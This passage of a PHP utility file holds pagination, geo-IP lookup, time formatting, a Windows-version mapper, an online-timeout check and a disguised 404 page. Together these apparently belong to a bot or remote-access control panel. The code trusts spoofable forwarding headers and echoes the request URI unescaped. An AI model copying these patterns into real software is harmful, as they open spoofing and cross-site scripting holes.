No file uploaded'); } function gen_qmarks($arr) { return str_repeat('?, ', count($arr) - 1).'?'; } function get_pag_vars($total, &$pages, &$page, &$offset) { global $CONST_PAGE_LIMIT; $pages = ceil($total / $CONST_PAGE_LIMIT); $page = 1; if(isset($_GET['page'])) { $page = (int) $_GET['page']; if($page > $pages) $page = $pages; else if($page < 1) $page = 1; } $offset = ($page - 1) * $CONST_PAGE_LIMIT; } function get_os($os) { if($os == 0) return 'Windows 2000'; else if ($os == 1) return 'Windows XP'; else if ($os == 2) return 'Windows Vista'; else if ($os == 3) return 'Windows 7'; else if ($os == 4) return 'Windows 8'; else if ($os == 5) return 'Windows 8.1'; else if ($os == 6) return 'Windows 10'; else if ($os == 7) return 'Windows 11'; else return 'Unknown'; } function get_ip() { if (isset($_SERVER["HTTP_X_REAL_IP"])) { return $_SERVER["HTTP_X_REAL_IP"]; } else if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) { return $_SERVER ["HTTP_X_FORWARDED_FOR"]; } return $_SERVER ['REMOTE_ADDR']; } function get_country($ip) { $gi = geoip_open('inc/geoip.dat', GEOIP_STANDARD); $country = geoip_country_code_by_addr($gi, $ip); geoip_close($gi); if (empty($country)) return '??'; return $country; } function format_time($time) { return date('d/m/Y H:i:s', $time); } function time_since($time) { $time = time() - $time; $time = ($time < 1) ? 1 : $time; $tokens = array ( 31536000 => 'year', 2592000 => 'month', 604800 => 'week', 86400 => 'day', 3600 => 'hour', 60 => 'minute', 1 => 'second' ); foreach($tokens as $unit => $text) { if($time < $unit) continue; $numberOfUnits = floor($time / $unit); return $numberOfUnits.' '.$text.(($numberOfUnits > 1) ? 's' : '').' ago'; } } function is_online($time) { global $CONF_TIMEOUT_OFFLINE; return (time() - $time) < $CONF_TIMEOUT_OFFLINE ; } function echo_hidden_fields() { $args = func_get_args(); foreach($_GET as $name => $value) { if(!in_array($name, $args)) echo(''); } } function echo_pag_form($page, $pages) { $firstDisabled = $page == 1 ? 'disabled' : ''; echo('
First'); echo(' Previous'); echo_hidden_fields('page'); echo(' '); $lastDisabled = $page == $pages ? 'disabled' : ''; echo(' Next'); echo(' Last
'); } function add_get_param($name, $value) { $params = $_GET; unset($params[$name]); $params[$name] = $value; return basename($_SERVER['PHP_SELF']).'?'.http_build_query($params); } function action_sec_check() { if($_SERVER['REQUEST_METHOD'] == 'POST') $userTime = $_POST['time']; else $userTime = $_GET['time']; if($userTime != $_SESSION['time']) exit(); } function error404() { header('HTTP/1.1 404 Not Found', TRUE, 404); echo << 404 Not Found

Not Found

The requested URL $_SERVER[REQUEST_URI] was not found on this server.
$_SERVER[HTTP_HOST] HTML; echo str_repeat ("\r\n", 50); exit(); } function http_redirect($url) { header("Location: $url"); exit(); } function http_no_cache() { header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); header("Pragma: no-cache"); header("Cache-Control: no-cache, must-revalidate"); } ?>